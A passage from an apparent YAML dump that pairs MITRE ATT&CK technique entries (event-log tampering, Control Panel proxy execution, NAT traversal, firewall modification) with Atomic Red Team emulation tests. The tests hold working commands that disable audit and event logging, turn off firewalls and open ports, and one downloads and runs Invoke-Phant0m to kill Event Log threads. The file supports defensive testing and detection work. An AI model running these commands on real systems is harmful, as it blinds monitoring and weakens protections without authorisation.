Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Sensor Health: Host Status' - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Script: Script Execution' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Creation' - 'Application Log: Application Log Content' x_mitre_defense_bypassed: - Log analysis type: attack-pattern id: attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a created: '2020-02-21T20:46:36.688Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/002 external_id: T1562.002 - source_name: Disable_Win_Event_Logging description: " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021." url: https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging - source_name: def_ev_win_event_logging description: 'Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.' url: https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/ - source_name: EventLog_Core_Technologies description: 'Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.' url: https://www.coretechnologies.com/blog/windows-services/eventlog/ - source_name: Audit_Policy_Microsoft description: Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy - source_name: Windows Log Events description: Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020. url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/ - source_name: disable_win_evt_logging description: 'Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.' url: https://ptylu.github.io/content/report/report.html?report=25 - source_name: auditpol description: Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021. url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol - source_name: winser19_file_overwrite_bug_twitter description: Naceri, A. (2021, November 7). Windows Server 2019 file overwrite bug. Retrieved April 7, 2022. url: https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040 - source_name: T1562.002_redcanaryco description: redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021. url: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md - source_name: Advanced_sec_audit_policy_settings description: Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021. url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings - source_name: auditpol.exe_STRONTIC description: STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021. url: https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html - source_name: evt_log_tampering description: 'svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.' url: https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1562.002 atomic_tests: - name: Disable Windows IIS HTTP Logging auto_generated_guid: 69435dcf-c66f-4ec0-a8b1-82beb76b34db description: | Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked. Use the cleanup commands to restore some default auditpol settings (your original settings will be lost) supported_platforms: - windows input_arguments: website_name: description: The name of the website on a server type: string default: Default Web Site executor: command: 'C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true ' cleanup_command: | if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){ C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null } name: powershell - name: Disable Windows IIS HTTP Logging via PowerShell auto_generated_guid: a957fb0f-1e85-49b2-a211-413366784b1e description: | Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked. Use the cleanup commands to restore some default auditpol settings (your original settings will be lost) supported_platforms: - windows input_arguments: website_name: description: The name of the website on a server type: string default: Default Web Site executor: command: 'set-WebConfigurationProperty -PSPath "IIS:\Sites\#{website_name}\" -filter "system.webServer/httpLogging" -name dontLog -value $true ' cleanup_command: | if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){ C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null } name: powershell - name: Kill Event Log Service Threads auto_generated_guid: 41ac52ba-5d5e-40c0-b267-573ed90489bd description: Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html supported_platforms: - windows executor: command: | Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore $url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c534466103440e0/Invoke-Phant0m.ps1" $output = "$env:TEMP\Invoke-Phant0m.ps1" $wc = New-Object System.Net.WebClient $wc.DownloadFile($url, $output) cd $env:TEMP Import-Module .\Invoke-Phant0m.ps1 Invoke-Phant0m cleanup_command: | Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore name: powershell elevation_required: true - name: Impair Windows Audit Log Policy auto_generated_guid: 5102a3a7-e2d7-4129-9e45-f483f2e0eea8 description: |- Disables the windows audit policy to prevent key host based telemetry being written into the event logs. [Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/) supported_platforms: - windows executor: command: | auditpol /set /category:"Account Logon" /success:disable /failure:disable auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable auditpol /set /category:"Detailed Tracking" /success:disable cleanup_command: | auditpol /set /category:"Account Logon" /success:enable /failure:enable auditpol /set /category:"Detailed Tracking" /success:enable auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable name: command_prompt elevation_required: true - name: Clear Windows Audit Policy Config auto_generated_guid: 913c0e4e-4b37-4b78-ad0b-90e7b25010f6 description: Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log. supported_platforms: - windows executor: command: | auditpol /clear /y auditpol /remove /allusers cleanup_command: | auditpol /set /category:"Account Logon" /success:enable /failure:enable auditpol /set /category:"Detailed Tracking" /success:enable auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable name: command_prompt elevation_required: true - name: Disable Event Logging with wevtutil auto_generated_guid: b26a3340-dad7-4360-9176-706269c74103 description: "Wevtutil can be used to disable logs. \nNOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.\n" supported_platforms: - windows input_arguments: log_name: description: Name of the log to be disabled type: string default: Microsoft-Windows-IKE/Operational executor: command: 'wevtutil sl "#{log_name}" /e:false ' cleanup_command: 'wevtutil sl "#{log_name}" /e:true ' name: command_prompt - name: Makes Eventlog blind with Phant0m auto_generated_guid: 3ddf3d03-f5d6-462a-ad76-2c5ff7b6d741 description: 'Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog ' supported_platforms: - windows input_arguments: file_name: description: exe version of Phant0m type: path default: PathToAtomicsFolder\T1562.002\bin\Phant0m.exe dependency_executor_name: powershell dependencies: - description: 'Phant0m.exe must exist on disk at specified location (#{file_name}) ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe" -OutFile "#{file_name}" -UseBasicParsing executor: command: '"#{file_name}" ' cleanup_command: 'echo "Sorry you have to reboot" ' name: command_prompt T1218.002: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - ESET object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f type: attack-pattern created: '2020-01-23T19:59:52.630Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1218.002 url: https://attack.mitre.org/techniques/T1218/002 - source_name: Microsoft Implementing CPL description: M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018. url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018. source_name: TrendMicro CPL Malware Jan 2014 - url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/ description: Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018. source_name: TrendMicro CPL Malware Dec 2013 - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/ description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017. source_name: Palo Alto Reaver Nov 2017 - source_name: ESET InvisiMole June 2020 url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.' modified: '2022-05-11T14:00:00.188Z' name: 'Signed Binary Proxy Execution: Control Panel' description: |- Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists. Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014) Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: * Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace and HKEY_CLASSES_ROOT\CLSID\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL) * Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL) Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014) x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'Module: Module Load' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Process: OS API Execution' - 'Process: Process Creation' x_mitre_defense_bypassed: - Application control x_mitre_permissions_required: - User - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1218.002 atomic_tests: - name: Control Panel Items auto_generated_guid: 037e9d8a-9e46-4255-8b33-2ae3b545ca6f description: | This test simulates an adversary leveraging control.exe Upon execution calc.exe will be launched supported_platforms: - windows input_arguments: cpl_file_path: description: path to cpl file type: path default: PathToAtomicsFolder\T1218.002\bin\calc.cpl dependency_executor_name: powershell dependencies: - description: 'Cpl file must exist on disk at specified location (#{cpl_file_path}) ' prereq_command: 'if (Test-Path "#{cpl_file_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{cpl_file_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.002/bin/calc.cpl" -OutFile "#{cpl_file_path}" executor: command: 'control.exe "#{cpl_file_path}" ' name: command_prompt T1599.001: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de type: attack-pattern created: '2020-10-19T16:48:08.241Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1599.001 url: https://attack.mitre.org/techniques/T1599/001 - source_name: RFC1918 url: https://tools.ietf.org/html/rfc1918 description: IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020. modified: '2021-04-29T14:49:39.188Z' name: Network Address Translation Traversal description: "Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary. Monitor the border network device’s configuration to determine if any unintended NAT rules have been added without authorization. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1550: technique: modified: '2024-04-12T21:18:23.798Z' name: Use Alternate Authentication Material description: "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: lateral-movement x_mitre_contributors: - Blake Strom, Microsoft Threat Intelligence x_mitre_deprecated: false x_mitre_detection: 'Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Office 365 - SaaS - Google Workspace - IaaS - Containers x_mitre_version: '1.3' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Logon Session: Logon Session Creation' - 'Active Directory: Active Directory Credential Request' - 'Web Credential: Web Credential Usage' - 'User Account: User Account Authentication' x_mitre_defense_bypassed: - System Access Controls type: attack-pattern id: attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814 created: '2020-01-30T16:18:36.873Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550 external_id: T1550 - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx - source_name: NIST Authentication description: NIST. (n.d.). Authentication. Retrieved January 30, 2020. url: https://csrc.nist.gov/glossary/term/authentication - source_name: NIST MFA description: NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020. url: https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1562.004: technique: modified: '2024-03-28T00:01:08.337Z' name: 'Impair Defenses: Disable or Modify System Firewall' description: |- Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel. Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti) Adversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.2' x_mitre_data_sources: - 'Firewall: Firewall Rule Modification' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Firewall: Firewall Disable' x_mitre_defense_bypassed: - Firewall type: attack-pattern id: attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b created: '2020-02-21T21:00:48.814Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/004 external_id: T1562.004 - source_name: Huntress BlackCat description: Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024. url: https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps - source_name: change_rdp_port_conti description: 'The DFIR Report. (2022, March 1). "Change RDP port" #ContiLeaks. Retrieved March 1, 2022.' url: https://twitter.com/TheDFIRReport/status/1498657772254240768 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1562.004 atomic_tests: - name: Disable Microsoft Defender Firewall auto_generated_guid: 88d05800-a5e4-407e-9b53-ece4174f197f description: | Disables the Microsoft Defender Firewall for the current profile. Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile... supported_platforms: - windows executor: command: 'netsh advfirewall set currentprofile state off ' cleanup_command: 'netsh advfirewall set currentprofile state on >nul 2>&1 ' name: command_prompt - name: Disable Microsoft Defender Firewall via Registry auto_generated_guid: afedc8c4-038c-4d82-b3e5-623a95f8a612 description: | Disables the Microsoft Defender Firewall for the public profile via registry Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile... supported_platforms: - windows executor: command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 0 /f ' cleanup_command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 1 /f ' name: command_prompt - name: Allow SMB and RDP on Microsoft Defender Firewall auto_generated_guid: d9841bf8-f161-4c73-81e9-fd773a5ff8c1 description: | Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles. Caution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services... supported_platforms: - windows executor: command: | netsh advfirewall firewall set rule group="remote desktop" new enable=Yes netsh advfirewall firewall set rule group="file and printer sharing" new enable=Yes cleanup_command: 'netsh advfirewall reset >nul 2>&1 ' name: command_prompt - name: Opening ports for proxy - HARDRAIN auto_generated_guid: 15e57006-79dd-46df-9bf9-31bc24fb5a80 description: | This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying. reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf supported_platforms: - windows executor: command: "netsh advfirewall firewall add rule name=\"atomic testing\" action=allow dir=in protocol=TCP localport=450 \n" cleanup_command: netsh advfirewall firewall delete rule name="atomic testing" protocol=TCP localport=450 >nul 2>&1 name: command_prompt elevation_required: true - name: Open a local port through Windows Firewall to any profile auto_generated_guid: 9636dd6e-7599-40d2-8eee-ac16434f35ed description: This test will attempt to open a local port defined by input arguments to any profile supported_platforms: - windows input_arguments: local_port: description: This is the local port you wish to test opening type: integer default: 3389 executor: command: netsh advfirewall firewall add rule name="Open Port to Any" dir=in protocol=tcp localport=#{local_port} action=allow profile=any cleanup_command: netsh advfirewall firewall delete rule name="Open Port to Any" | Out-Null name: powershell elevation_required: true - name: Allow Executable Through Firewall Located in Non-Standard Location auto_generated_guid: 6f5822d2-d38d-4f48-9bfc-916607ff6b8c description: This test will attempt to allow an executable through the system firewall located in the Users directory supported_platforms: - windows input_arguments: exe_file_path: description: path to exe file type: path default: PathToAtomicsFolder\T1562.004\bin\AtomicTest.exe executor: command: | Copy-Item "#{exe_file_path}" -Destination "C:\Users\$env:UserName" -Force netsh advfirewall firewall add rule name="Atomic Test" dir=in action=allow program="C:\Users\$env:UserName\AtomicTest.exe" enable=yes cleanup_command: | netsh advfirewall firewall delete rule name="Atomic Test" | Out-Null Remove-Item C:\Users\$env:UserName\AtomicTest.exe -ErrorAction Ignore name: powershell elevation_required: true - name: Stop/Start UFW firewall auto_generated_guid: fe135572-edcd-49a2-afe6-1d39521c5a9a description: 'Stop the Uncomplicated Firewall (UFW) if installed. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if ufw is installed on the machine. ' prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n" get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: 'ufw disable ' cleanup_command: | ufw enable ufw status verbose - name: Stop/Start Packet Filter auto_generated_guid: 0ca82ed1-0a94-4774-9a9a-a2c83a8022b7 description: 'Stop the Packet Filter if installed. ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if pfctl is installed on the machine. ' prereq_command: "if [ ! -x \"$(command -v pfctl)\" ]; then echo -e \"\\n***** PF NOT installed *****\\n\"; exit 1; fi\nif [ \"$(kldstat -n pf)\" = \"\" ]; then echo -e \"\\n***** PF inactive *****\\n\"; exit 1; fi \n" get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | service pf stop service pf disable cleanup_command: | service pf enable service pf start service pf status - name: Stop/Start UFW firewall systemctl auto_generated_guid: 9fd99609-1854-4f3c-b47b-97d9a5972bd1 description: "Stop the Uncomplicated Firewall (UFW) if installed, using systemctl. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if systemctl and ufw is installed on the machine. ' prereq_command: "if [ ! -x \"$(command -v systemctl)\" ]; then echo -e \"\\n***** systemctl NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n" get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: 'systemctl stop ufw ' cleanup_command: | systemctl start ufw systemctl status ufw - name: Turn off UFW logging auto_generated_guid: 8a95b832-2c2a-494d-9cb0-dc9dd97c8bad description: "Turn off the Uncomplicated Firewall (UFW) logging. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if ufw is installed on the machine and enabled. ' prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n" get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: 'ufw logging off ' cleanup_command: | ufw logging low ufw status verbose - name: Add and delete UFW firewall rules auto_generated_guid: b2563a4e-c4b8-429c-8d47-d5bcb227ba7a description: "Add and delete a rule on the Uncomplicated Firewall (UFW) if installed and enabled. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if ufw is installed on the machine and enabled. ' prereq_command: "if [ ! -x \"$(command -v ufw)\" ]; then echo -e \"\\n***** ufw NOT installed *****\\n\"; exit 1; fi\nif echo \"$(ufw status)\" |grep -q \"inactive\"; then echo -e \"\\n***** ufw inactive *****\\n\"; exit 1; fi \n" get_prereq_command: 'echo "" ' executor: name: sh elevation_required: true command: | ufw prepend deny from 1.2.3.4 ufw status numbered cleanup_command: | { echo y; echo response; } | ufw delete 1 ufw status numbered - name: Add and delete Packet Filter rules auto_generated_guid: 8b23cae1-66c1-41c5-b79d-e095b6098b5b description: "Add 